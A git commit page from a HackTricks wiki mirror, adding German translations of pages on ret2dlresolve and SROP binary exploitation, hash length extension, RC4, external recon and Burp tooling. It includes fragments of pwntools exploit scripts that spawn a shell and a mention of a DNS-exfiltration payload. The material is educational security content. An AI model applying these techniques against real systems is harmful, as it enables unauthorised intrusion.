maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/README.md', 'src/binary-exploitation/rop-return-oriente

Browse Source
This commit is contained in:
Translator 2025-01-03 18:12:13 +00:00
parent e05af755e9
commit f989307701
73 changed files with 1166 additions and 905 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

7
hacktricks-preprocessor.py
View File

@ -69,6 +69,12 @@ def ref(matchobj):
return result
def add_read_time(content):
regex = r'(<\/style>\n# .*(?=\n))'
new_content = re.sub(regex, lambda x: x.group(0) + "\n\nReading time: {{ #reading_time }}", content)
return new_content
def iterate_chapters(sections):
if isinstance(sections, dict) and "PartTitle" in sections: # Not a chapter section
return
@ -99,6 +105,7 @@ if __name__ == '__main__':
current_chapter = chapter
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
new_content = re.sub(regex, ref, chapter['content'])
new_content = add_read_time(new_content)
chapter['content'] = new_content
content = json.dumps(book)

47
src/README.md
View File

@ -1,13 +1,10 @@
# HackTricks
Lesezeit: {{ #reading_time }}
<figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
_Hacktricks Logos & Motion Design von_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
> [!TIP]
> **Willkommen im Wiki, wo Sie jeden Hacking-Trick/Technik/was auch immer finden, was ich aus CTFs, realen Anwendungen, Forschungsarbeiten und Nachrichten gelernt habe.**
> [!TIP] > **Willkommen im Wiki, wo Sie jeden Hacking-Trick/Technik/was auch immer finden, was ich aus CTFs, realen Anwendungen, durch das Lesen von Forschungen und Nachrichten gelernt habe.**
Um zu beginnen, folgen Sie dieser Seite, wo Sie den **typischen Ablauf** finden, den **Sie beim Pentesting** von einem oder mehreren **Maschinen befolgen sollten:**
@ -15,13 +12,13 @@ Um zu beginnen, folgen Sie dieser Seite, wo Sie den **typischen Ablauf** finden,
generic-methodologies-and-resources/pentesting-methodology.md
{{#endref}}
## Unternehmenssponsoren
## Corporate Sponsors
### [STM Cyber](https://www.stmcyber.com)
<figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com) ist ein großartiges Cybersicherheitsunternehmen, dessen Slogan **HACK THE UNHACKABLE** ist. Sie führen eigene Forschungen durch und entwickeln eigene Hacking-Tools, um **verschiedene wertvolle Cybersicherheitsdienste** wie Pentesting, Red Teams und Schulungen anzubieten.
[**STM Cyber**](https://www.stmcyber.com) ist ein großartiges Cybersicherheitsunternehmen, dessen Slogan **HACK THE UNHACKABLE** lautet. Sie führen eigene Forschungen durch und entwickeln eigene Hacking-Tools, um **verschiedene wertvolle Cybersicherheitsdienste** wie Pentesting, Red Teams und Schulungen anzubieten.
Sie können ihren **Blog** unter [**https://blog.stmcyber.com**](https://blog.stmcyber.com) einsehen.
@ -35,7 +32,9 @@ Sie können ihren **Blog** unter [**https://blog.stmcyber.com**](https://blog.st
[**RootedCON**](https://www.rootedcon.com) ist die relevanteste Cybersicherheitsveranstaltung in **Spanien** und eine der wichtigsten in **Europa**. Mit **der Mission, technisches Wissen zu fördern**, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsexperten in jeder Disziplin.
{% embed url="https://www.rootedcon.com/" %}
{{#ref}}
https://www.rootedcon.com/
{{#endref}}
---
@ -45,9 +44,11 @@ Sie können ihren **Blog** unter [**https://blog.stmcyber.com**](https://blog.st
**Intigriti** ist die **Nummer 1** Plattform für ethisches Hacking und **Bug Bounty in Europa.**
**Bug Bounty Tipp**: **Melden Sie sich an** für **Intigriti**, eine Premium-**Bug Bounty-Plattform, die von Hackern für Hacker** erstellt wurde! Treten Sie uns heute bei unter [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) und beginnen Sie, Belohnungen von bis zu **100.000 $** zu verdienen!
**Bug Bounty Tipp**: **Melden Sie sich an** für **Intigriti**, eine Premium-**Bug Bounty-Plattform, die von Hackern für Hacker erstellt wurde**! Treten Sie uns heute bei [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) und beginnen Sie, Belohnungen von bis zu **100.000 $** zu verdienen!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#ref}}
https://go.intigriti.com/hacktricks
{{#endref}}
---
@ -58,9 +59,11 @@ Sie können ihren **Blog** unter [**https://blog.stmcyber.com**](https://blog.st
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), um einfach **Workflows** zu erstellen und zu **automatisieren**, die von den **fortschrittlichsten** Community-Tools der Welt unterstützt werden.
Zugriff heute erhalten:
Zugang heute erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#ref}}
https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
{{#endref}}
---
@ -84,9 +87,11 @@ Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)
**Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Netzwerke und Cloud**
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Berechtigungen zu eskalieren, und nutzen Sie automatisierte Exploits, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Berechtigungen zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#ref}}
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
{{#endref}}
---
@ -111,7 +116,9 @@ Sie können **hier ein kostenloses Konto erstellen** [**hier**](https://serpapi.
Lernen Sie die Technologien und Fähigkeiten, die erforderlich sind, um Schwachstellenforschung, Penetrationstests und Reverse Engineering durchzuführen, um mobile Anwendungen und Geräte zu schützen. **Meistern Sie die Sicherheit von iOS und Android** durch unsere On-Demand-Kurse und **lassen Sie sich zertifizieren**:
{% embed url="https://academy.8ksec.io/" %}
{{#ref}}
https://academy.8ksec.io/
{{#endref}}
---
@ -123,11 +130,13 @@ Lernen Sie die Technologien und Fähigkeiten, die erforderlich sind, um Schwachs
WebSec ist ein **All-in-One-Sicherheitsunternehmen**, was bedeutet, dass sie alles anbieten; Pentesting, **Sicherheits**-Audits, Awareness-Trainings, Phishing-Kampagnen, Code-Überprüfungen, Exploit-Entwicklung, Outsourcing von Sicherheitsexperten und vieles mehr.
Ein weiterer cooler Aspekt von WebSec ist, dass sie im Gegensatz zum Branchendurchschnitt **sehr zuversichtlich in ihre Fähigkeiten sind**, so sehr, dass sie **die besten Qualitätsresultate garantieren**. Auf ihrer Website steht: "**Wenn wir es nicht hacken können, zahlen Sie nicht!**". Für weitere Informationen werfen Sie einen Blick auf ihre [**Website**](https://websec.nl/en/) und ihren [**Blog**](https://websec.nl/blog/)!
Ein weiterer cooler Aspekt von WebSec ist, dass sie im Gegensatz zum Branchendurchschnitt **sehr zuversichtlich in ihre Fähigkeiten sind**, so sehr, dass sie **die besten Qualitätsresultate garantieren**. Auf ihrer Website steht: "**Wenn wir es nicht hacken können, zahlen Sie nicht!**". Für weitere Informationen werfen Sie einen Blick auf ihre [**Website**](https://websec.nl/en/) und [**Blog**](https://websec.nl/blog/)!
Zusätzlich zu den oben genannten Punkten ist WebSec auch ein **engagierter Unterstützer von HackTricks.**
Zusätzlich zu den oben genannten ist WebSec auch ein **engagierter Unterstützer von HackTricks.**
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
{{#ref}}
https://www.youtube.com/watch?v=Zq2JycGDCPM
{{#endref}}
## Lizenz & Haftungsausschluss
@ -137,8 +146,8 @@ Zusätzlich zu den oben genannten Punkten ist WebSec auch ein **engagierter Unte
welcome/hacktricks-values-and-faq.md
{{#endref}}
## Github Statistiken
## Github Stats
![HackTricks Github Statistiken](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg)
![HackTricks Github Stats](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg)
{{#include ./banners/hacktricks-training.md}}

12
src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
View File

@ -8,16 +8,18 @@ Wie auf der Seite über [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.
Die Funktion **`_dl_runtime_resolve`** benötigt vom Stack Referenzen zu einigen Strukturen, um das angegebene Symbol zu **lösen**.
Daher ist es möglich, **alle diese Strukturen zu fälschen**, um die dynamische Verknüpfung des angeforderten Symbols (wie die Funktion **`system`**) zu ermöglichen und sie mit einem konfigurierten Parameter (z.B. **`system('/bin/sh')`**) aufzurufen.
Daher ist es möglich, **alle diese Strukturen zu fälschen**, um die dynamische Verknüpfung des angeforderten Symbols (wie die **`system`**-Funktion) zu ermöglichen und sie mit einem konfigurierten Parameter (z.B. **`system('/bin/sh')`**) aufzurufen.
In der Regel werden alle diese Strukturen gefälscht, indem eine **anfängliche ROP-Kette erstellt wird, die `read`** über einen beschreibbaren Speicher aufruft, dann werden die **Strukturen** und der String **`'/bin/sh'`** übergeben, sodass sie durch `read` an einem bekannten Ort gespeichert werden, und dann setzt die ROP-Kette fort, indem sie **`_dl_runtime_resolve`** aufruft, um die **Adresse von `system`** in den gefälschten Strukturen zu **lösen** und **diese Adresse** mit der Adresse zu `$'/bin/sh'` aufzurufen.
In der Regel werden all diese Strukturen gefälscht, indem eine **anfängliche ROP-Kette erstellt wird, die `read`** über einen beschreibbaren Speicher aufruft, dann werden die **Strukturen** und der String **`'/bin/sh'`** übergeben, sodass sie durch `read` an einem bekannten Ort gespeichert werden, und dann setzt die ROP-Kette fort, indem sie **`_dl_runtime_resolve`** aufruft, um die **Adresse von `system`** in den gefälschten Strukturen zu **lösen** und **diese Adresse** mit der Adresse zu `$'/bin/sh'` aufzurufen.
> [!TIP]
> Diese Technik ist besonders nützlich, wenn es keine Syscall-Gadgets gibt (um Techniken wie [**ret2syscall**](rop-syscall-execv/) oder [SROP](srop-sigreturn-oriented-programming/) zu verwenden) und es keine Möglichkeiten gibt, libc-Adressen zu leaken.
> Diese Technik ist besonders nützlich, wenn es keine Syscall-Gadgets gibt (um Techniken wie [**ret2syscall**](rop-syscall-execv/) oder [SROP](srop-sigreturn-oriented-programming/)) zu verwenden und es keine Möglichkeiten gibt, libc-Adressen zu leaken.
Schau dir dieses Video für eine schöne Erklärung zu dieser Technik in der zweiten Hälfte des Videos an:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
{{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
Oder schau dir diese Seiten für eine Schritt-für-Schritt-Erklärung an:
@ -56,7 +58,7 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
### Pure Pwntools
Sie können ein [**Beispiel für diese Technik hier finden**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **mit einer sehr guten Erklärung der finalen ROP-Kette**, aber hier ist der finale Exploit, der verwendet wurde:
Sie können ein [**Beispiel dieser Technik hier finden**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **mit einer sehr guten Erklärung der finalen ROP-Kette**, aber hier ist der finale Exploit, der verwendet wurde:
```python
from pwn import *

14
src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
View File

@ -6,9 +6,9 @@
**`Sigreturn`** ist ein spezieller **syscall**, der hauptsächlich verwendet wird, um nach der Ausführung eines Signalhandlers aufzuräumen. Signale sind Unterbrechungen, die vom Betriebssystem an ein Programm gesendet werden, oft um anzuzeigen, dass eine außergewöhnliche Situation aufgetreten ist. Wenn ein Programm ein Signal erhält, pausiert es vorübergehend seine aktuelle Arbeit, um das Signal mit einem **Signalhandler** zu behandeln, einer speziellen Funktion, die dafür ausgelegt ist, mit Signalen umzugehen.
Nachdem der Signalhandler fertig ist, muss das Programm seinen **vorherigen Zustand wiederherstellen**, als ob nichts passiert wäre. Hier kommt **`sigreturn`** ins Spiel. Es hilft dem Programm, **vom Signalhandler zurückzukehren** und stellt den Zustand des Programms wieder her, indem es das Stack-Frame (den Abschnitt des Speichers, der Funktionsaufrufe und lokale Variablen speichert) aufräumt, das vom Signalhandler verwendet wurde.
Nachdem der Signalhandler fertig ist, muss das Programm seinen **vorherigen Zustand wiederherstellen**, als ob nichts passiert wäre. Hier kommt **`sigreturn`** ins Spiel. Es hilft dem Programm, **vom Signalhandler zurückzukehren** und stellt den Zustand des Programms wieder her, indem es das Stack-Frame (den Speicherbereich, der Funktionsaufrufe und lokale Variablen speichert) aufräumt, das vom Signalhandler verwendet wurde.
Der interessante Teil ist, wie **`sigreturn`** den Zustand des Programms wiederherstellt: Es geschieht, indem **alle Registerwerte der CPU auf dem Stack gespeichert werden.** Wenn das Signal nicht mehr blockiert ist, **poppt `sigreturn` diese Werte vom Stack**, wodurch die Register der CPU effektiv auf ihren Zustand vor der Signalbehandlung zurückgesetzt werden. Dazu gehört das Stack-Zeiger-Register (RSP), das auf die aktuelle Spitze des Stacks zeigt.
Der interessante Teil ist, wie **`sigreturn`** den Zustand des Programms wiederherstellt: Es geschieht, indem **alle Registerwerte der CPU auf dem Stack gespeichert werden.** Wenn das Signal nicht mehr blockiert ist, **poppt `sigreturn` diese Werte vom Stack**, wodurch die Register der CPU auf ihren Zustand vor der Signalbehandlung zurückgesetzt werden. Dazu gehört das Stack-Zeiger-Register (RSP), das auf die aktuelle Spitze des Stacks zeigt.
> [!CAUTION]
> Das Aufrufen des syscalls **`sigreturn`** aus einer ROP-Kette und **das Hinzufügen der Registerwerte**, die wir im **Stack** laden möchten, ermöglicht es, **alle Registerwerte zu steuern** und daher beispielsweise den syscall `execve` mit `/bin/sh` aufzurufen.
@ -57,11 +57,13 @@ Wenn Sie neugierig sind, dies ist die **sigcontext-Struktur**, die im Stack gesp
```
Für eine bessere Erklärung siehe auch:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
{{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
## Beispiel
Sie können [**ein Beispiel hier finden**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop), wo der Aufruf von signeturn über ROP konstruiert wird (indem der Wert `0xf` in rxa eingegeben wird), obwohl dies der endgültige Exploit von dort ist:
Du kannst [**ein Beispiel hier finden**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop), wo der Aufruf von signeturn über ROP konstruiert wird (indem der Wert `0xf` in rxa gesetzt wird), obwohl dies der endgültige Exploit von dort ist:
```python
from pwn import *
@ -128,11 +130,11 @@ target.interactive()
- [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
- Assembly-Binärdatei, die es ermöglicht, **in den Stack zu schreiben** und dann den **`sigreturn`** Syscall aufzurufen. Es ist möglich, einen [**ret2syscall**](../rop-syscall-execv/) über eine **sigreturn** Struktur auf den Stack zu schreiben und das Flag zu lesen, das sich im Speicher der Binärdatei befindet.
- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
- Assembly-Binärdatei, die es ermöglicht, **in den Stack zu schreiben** und dann den **`sigreturn`** Syscall aufzurufen. Es ist möglich, einen [**ret2syscall**](../rop-syscall-execv/) über eine **sigreturn** Struktur auf den Stack zu schreiben (die Binärdatei enthält die Zeichenkette `/bin/sh`).
- Assembly-Binärdatei, die es ermöglicht, **in den Stack zu schreiben** und dann den **`sigreturn`** Syscall aufzurufen. Es ist möglich, einen [**ret2syscall**](../rop-syscall-execv/) über eine **sigreturn** Struktur zu schreiben (die Binärdatei enthält die Zeichenkette `/bin/sh`).
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
- 64 Bit, kein relro, kein canary, nx, kein pie. Einfacher Buffer Overflow, der die `gets` Funktion ausnutzt, mit einem Mangel an Gadgets, die einen [**ret2syscall**](../rop-syscall-execv/) ausführen. Die ROP-Kette schreibt `/bin/sh` in die `.bss`, indem sie `gets` erneut aufruft, sie missbraucht die **`alarm`** Funktion, um eax auf `0xf` zu setzen, um ein **SROP** aufzurufen und eine Shell auszuführen.
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
- 64-Bit-Assembly-Programm, kein relro, kein canary, nx, kein pie. Der Fluss ermöglicht es, in den Stack zu schreiben, mehrere Register zu steuern und einen Syscall aufzurufen, und dann wird `exit` aufgerufen. Der ausgewählte Syscall ist ein `sigreturn`, der Register setzen und `eip` verschieben wird, um eine vorherige Syscall-Anweisung aufzurufen und `memprotect` auszuführen, um den Binärspeicher auf `rwx` zu setzen und den ESP im Binärspeicher zu setzen. Folgt man dem Fluss, wird das Programm erneut `read` in den ESP aufrufen, aber in diesem Fall wird der ESP auf die nächste Anweisung zeigen, sodass das Übergeben eines Shellcodes es als die nächste Anweisung schreiben und ausführen wird.
- 64-Bit-Assembly-Programm, kein relro, kein canary, nx, kein pie. Der Fluss ermöglicht es, in den Stack zu schreiben, mehrere Register zu steuern und einen Syscall aufzurufen, und dann wird `exit` aufgerufen. Der ausgewählte Syscall ist ein `sigreturn`, der Register setzen und `eip` verschieben wird, um eine vorherige Syscall-Anweisung aufzurufen und `memprotect` auszuführen, um den Binärspeicher auf `rwx` zu setzen und den ESP im Binärspeicher zu setzen. Folgt man dem Fluss, wird das Programm `read` erneut in den ESP aufrufen, aber in diesem Fall wird der ESP auf die nächste Anweisung zeigen, sodass das Übergeben eines Shellcodes es als die nächste Anweisung schreiben und ausführen wird.
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
- SROP wird verwendet, um Ausführungsprivilegien (memprotect) an den Ort zu geben, an dem ein Shellcode platziert wurde.

4
src/burp-suite.md
View File

@ -10,7 +10,9 @@
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload zum Ausführen von Befehlen und Abrufen der Ausgabe über DNS-Anfragen an burpcollab.
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
{{#ref}}
https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
{{#endref}}
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)

4
src/crypto-and-stego/esoteric-languages.md
View File

@ -48,7 +48,9 @@ Take it to the top
Whisper my world
```
{% embed url="https://codewithrockstar.com/" %}
{{#ref}}
https://codewithrockstar.com/
{{#endref}}
## PETOOH
```

6
src/crypto-and-stego/hash-length-extension-attack.md
View File

@ -17,7 +17,7 @@ Dann ist es möglich für einen **Angreifer**, **Daten** **anzuhängen** und ein
### Wie?
Grundsätzlich generieren die anfälligen Algorithmen die Hashes, indem sie zuerst einen Block von Daten **hashen** und dann, **aus** dem **zuvor** erstellten **Hash** (Zustand), den **nächsten Block von Daten** **hinzufügen** und **hashen**.
Grundsätzlich generieren die anfälligen Algorithmen die Hashes, indem sie zuerst einen **Block von Daten hashen** und dann, **aus** dem **zuvor** erstellten **Hash** (Zustand), den **nächsten Block von Daten hinzufügen** und **hashen**.
Stellen Sie sich vor, das Geheimnis ist "secret" und die Daten sind "data", der MD5 von "secretdata" ist 6036708eba0d11f6ef52ad44e8b74d5b.\
Wenn ein Angreifer die Zeichenfolge "append" anhängen möchte, kann er:
@ -29,7 +29,9 @@ Wenn ein Angreifer die Zeichenfolge "append" anhängen möchte, kann er:
### **Tool**
{% embed url="https://github.com/iagox86/hash_extender" %}
{{#ref}}
https://github.com/iagox86/hash_extender
{{#endref}}
### Referenzen

8
src/crypto-and-stego/rc4-encrypt-and-decrypt.md
View File

@ -4,8 +4,12 @@ Wenn Sie auf irgendeine Weise einen Klartext mit RC4 verschlüsseln können, kö
Wenn Sie einen bekannten Klartext verschlüsseln können, können Sie auch das Passwort extrahieren. Weitere Referenzen finden Sie in der HTB Kryptos-Maschine:
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

6
src/cryptography/hash-length-extension-attack.md
View File

@ -15,7 +15,7 @@ Dann ist es möglich für einen **Angreifer**, **Daten** **anzuhängen** und ein
## Wie?
Grundsätzlich erzeugen die anfälligen Algorithmen die Hashes, indem sie zuerst einen Block von Daten **hashen** und dann, **aus** dem **zuvor** erstellten **Hash** (Zustand), den **nächsten Block von Daten** **hinzufügen** und **hashen**.
Grundsätzlich generieren die anfälligen Algorithmen die Hashes, indem sie zuerst einen Block von Daten **hashen** und dann, **aus** dem **zuvor** erstellten **Hash** (Zustand), den **nächsten Block von Daten** **hinzufügen** und **hashen**.
Stellen Sie sich vor, das Geheimnis ist "secret" und die Daten sind "data", der MD5 von "secretdata" ist 6036708eba0d11f6ef52ad44e8b74d5b.\
Wenn ein Angreifer die Zeichenfolge "append" anhängen möchte, kann er:
@ -27,7 +27,9 @@ Wenn ein Angreifer die Zeichenfolge "append" anhängen möchte, kann er:
## **Tool**
{% embed url="https://github.com/iagox86/hash_extender" %}
{{#ref}}
https://github.com/iagox86/hash_extender
{{#endref}}
## Referenzen

10
src/cryptography/rc4-encrypt-and-decrypt.md
View File

@ -1,11 +1,15 @@
{{#include ../banners/hacktricks-training.md}}
Wenn Sie auf irgendeine Weise einen Klartext mit RC4 verschlüsseln können, können Sie jeden Inhalt, der mit diesem RC4 (unter Verwendung des gleichen Passworts) verschlüsselt wurde, nur mit der Verschlüsselungsfunktion entschlüsseln.
Wenn Sie auf irgendeine Weise einen Klartext mit RC4 verschlüsseln können, können Sie jeden Inhalt, der mit diesem RC4 verschlüsselt wurde (unter Verwendung des gleichen Passworts), nur mit der Verschlüsselungsfunktion entschlüsseln.
Wenn Sie einen bekannten Klartext verschlüsseln können, können Sie auch das Passwort extrahieren. Weitere Referenzen finden Sie in der HTB Kryptos-Maschine:
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

69
src/generic-methodologies-and-resources/external-recon-methodology/README.md
View File

@ -1,11 +1,10 @@
# Externe Recon-Methodologie
# Externe Recon-Methode
{{#include ../../banners/hacktricks-training.md}}
## Vermögensentdeckungen
> Man hat Ihnen gesagt, dass alles, was zu einem Unternehmen gehört, im Geltungsbereich liegt, und Sie möchten herausfinden, was dieses Unternehmen tatsächlich besitzt.
> Ihnen wurde gesagt, dass alles, was zu einem Unternehmen gehört, im Geltungsbereich liegt, und Sie möchten herausfinden, was dieses Unternehmen tatsächlich besitzt.
Das Ziel dieser Phase ist es, alle **Unternehmen, die im Besitz des Hauptunternehmens sind**, und dann alle **Vermögenswerte** dieser Unternehmen zu ermitteln. Dazu werden wir:
@ -17,7 +16,7 @@ Das Ziel dieser Phase ist es, alle **Unternehmen, die im Besitz des Hauptunterne
### **Übernahmen**
Zunächst müssen wir wissen, welche **anderen Unternehmen im Besitz des Hauptunternehmens sind**.\
Eine Möglichkeit besteht darin, [https://www.crunchbase.com/](https://www.crunchbase.com) zu besuchen, **nach dem Hauptunternehmen zu suchen** und auf "**Übernahmen**" zu **klicken**. Dort sehen Sie andere Unternehmen, die vom Hauptunternehmen übernommen wurden.\
Eine Möglichkeit besteht darin, [https://www.crunchbase.com/](https://www.crunchbase.com) zu besuchen, **nach** dem **Hauptunternehmen** zu **suchen** und auf "**Übernahmen**" zu **klicken**. Dort sehen Sie andere Unternehmen, die vom Hauptunternehmen übernommen wurden.\
Eine andere Möglichkeit besteht darin, die **Wikipedia**-Seite des Hauptunternehmens zu besuchen und nach **Übernahmen** zu suchen.
> Ok, an diesem Punkt sollten Sie alle Unternehmen im Geltungsbereich kennen. Lassen Sie uns herausfinden, wie wir ihre Vermögenswerte finden können.
@ -28,7 +27,7 @@ Eine autonome Systemnummer (**ASN**) ist eine **eindeutige Nummer**, die einem *
Ein **AS** besteht aus **Blöcken** von **IP-Adressen**, die eine eindeutig definierte Richtlinie für den Zugriff auf externe Netzwerke haben und von einer einzigen Organisation verwaltet werden, aber aus mehreren Betreibern bestehen können.
Es ist interessant herauszufinden, ob das **Unternehmen eine ASN zugewiesen hat**, um seine **IP-Bereiche** zu finden. Es wäre interessant, einen **Sicherheitstest** gegen alle **Hosts** im **Geltungsbereich** durchzuführen und **nach Domains** innerhalb dieser IPs zu suchen.\
Sie können **nach dem Unternehmensnamen**, nach **IP** oder nach **Domain** in [**https://bgp.he.net/**](https://bgp.he.net)** suchen.**\
Sie können **nach** dem **Namen** des Unternehmens, nach **IP** oder nach **Domain** in [**https://bgp.he.net/**](https://bgp.he.net)**.**\
**Je nach Region des Unternehmens könnten diese Links nützlich sein, um weitere Daten zu sammeln:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Nordamerika),** [**APNIC**](https://www.apnic.net) **(Asien),** [**LACNIC**](https://www.lacnic.net) **(Lateinamerika),** [**RIPE NCC**](https://www.ripe.net) **(Europa). Jedenfalls erscheinen wahrscheinlich alle** nützlichen Informationen **(IP-Bereiche und Whois)** bereits im ersten Link.
```bash
#You can try "automate" this with amass, but it's not very recommended
@ -58,7 +57,7 @@ Sie können die IP und ASN einer Domain mit [http://ipv4info.com/](http://ipv4in
### **Auf der Suche nach Schwachstellen**
An diesem Punkt kennen wir **alle Vermögenswerte innerhalb des Umfangs**, also wenn Sie dazu berechtigt sind, könnten Sie einige **Schwachstellenscanner** (Nessus, OpenVAS) über alle Hosts starten.\
Außerdem könnten Sie einige [**Port-Scans**](../pentesting-network/#discovering-hosts-from-the-outside) **starten oder Dienste wie** shodan **verwenden, um** offene Ports **zu finden, und je nachdem, was Sie finden, sollten Sie** in diesem Buch nachsehen, wie man mehrere mögliche Dienste testet.\
Außerdem könnten Sie einige [**Portscans**](../pentesting-network/#discovering-hosts-from-the-outside) **starten oder Dienste wie** shodan **verwenden, um** offene Ports **zu finden, und je nachdem, was Sie finden, sollten Sie** in diesem Buch nachsehen, wie man mehrere mögliche Dienste testet.\
**Es könnte auch erwähnenswert sein, dass Sie auch einige** Standardbenutzernamen **und** Passwortlisten **vorbereiten und versuchen können,** Dienste mit [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) zu bruteforcen.
## Domains
@ -67,7 +66,7 @@ Außerdem könnten Sie einige [**Port-Scans**](../pentesting-network/#discoverin
_Bitte beachten Sie, dass Sie mit den folgenden vorgeschlagenen Techniken auch Subdomains finden können und diese Informationen nicht unterschätzt werden sollten._
Zunächst sollten Sie nach der **Hauptdomain**(s) jedes Unternehmens suchen. Zum Beispiel ist für _Tesla Inc._ die Domain _tesla.com_.
Zunächst sollten Sie nach der **Hauptdomain**(s) jedes Unternehmens suchen. Zum Beispiel wird für _Tesla Inc._ die Domain _tesla.com_ sein.
### **Reverse DNS**
@ -97,12 +96,12 @@ Sie können Online-Tools wie verwenden:
Sie können diese Aufgabe automatisieren, indem Sie [**DomLink** ](https://github.com/vysecurity/DomLink) verwenden (benötigt einen Whoxy-API-Schlüssel).\
Sie können auch einige automatische Reverse-Whois-Entdeckungen mit [amass](https://github.com/OWASP/Amass) durchführen: `amass intel -d tesla.com -whois`
**Beachten Sie, dass Sie diese Technik verwenden können, um jedes Mal weitere Domainnamen zu entdecken, wenn Sie eine neue Domain finden.**
**Beachten Sie, dass Sie diese Technik verwenden können, um jedes Mal, wenn Sie eine neue Domain finden, weitere Domainnamen zu entdecken.**
### **Trackers**
Wenn Sie die **gleiche ID des gleichen Trackers** auf 2 verschiedenen Seiten finden, können Sie annehmen, dass **beide Seiten** von **dem gleichen Team** verwaltet werden.\
Zum Beispiel, wenn Sie dieselbe **Google Analytics ID** oder dieselbe **Adsense ID** auf mehreren Seiten sehen.
Zum Beispiel, wenn Sie dieselbe **Google Analytics-ID** oder dieselbe **Adsense-ID** auf mehreren Seiten sehen.
Es gibt einige Seiten und Tools, die es Ihnen ermöglichen, nach diesen Trackern und mehr zu suchen:
@ -142,7 +141,7 @@ return fhash
```
### **Copyright / Uniq string**
